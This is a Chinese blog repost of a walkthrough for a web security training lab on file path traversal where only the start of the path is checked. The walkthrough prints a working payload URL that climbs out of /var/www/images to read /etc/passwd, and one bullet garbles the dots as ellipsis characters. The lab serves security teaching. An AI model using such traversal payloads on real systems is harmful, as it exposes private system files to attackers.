admin 管理员组

文章数量: 1184232

靶场内容：

本实验室在产品图片显示中存在文件路径遍历漏洞。

应用程序通过请求参数传输完整的文件路径，并验证提供的路径是否以预期的文件夹开头。

要解决实验室问题，请检索/etc/passwd文件的内容。

漏洞分析

  • 打开图片链接，可以看到，图片后面跟上了绝对路径：https://ac311fd21e5ffcf482b23580000d00a5.web-security-academy/image?filename=/var/www/images/29.jpg
  • /var和/etc一样属于一级目录
  • 这个漏洞在于，它不允许相对路径的遍历，只允许绝对路径的遍历
  • 所以我们只需要在后面加上…/…/…/etc/passwd即可
  • https://ac311fd21e5ffcf482b23580000d00a5.web-security-academy/image?filename=/var/www/images/../../../etc/passwd

关键截图：

本文标签： 路径 遍历 文件 path file

版权声明：本文标题：Lab: File path traversal, validation of start of path：文件路径遍历，起始路径验证 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.roclinux.cn/b/1738259807a1952451.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。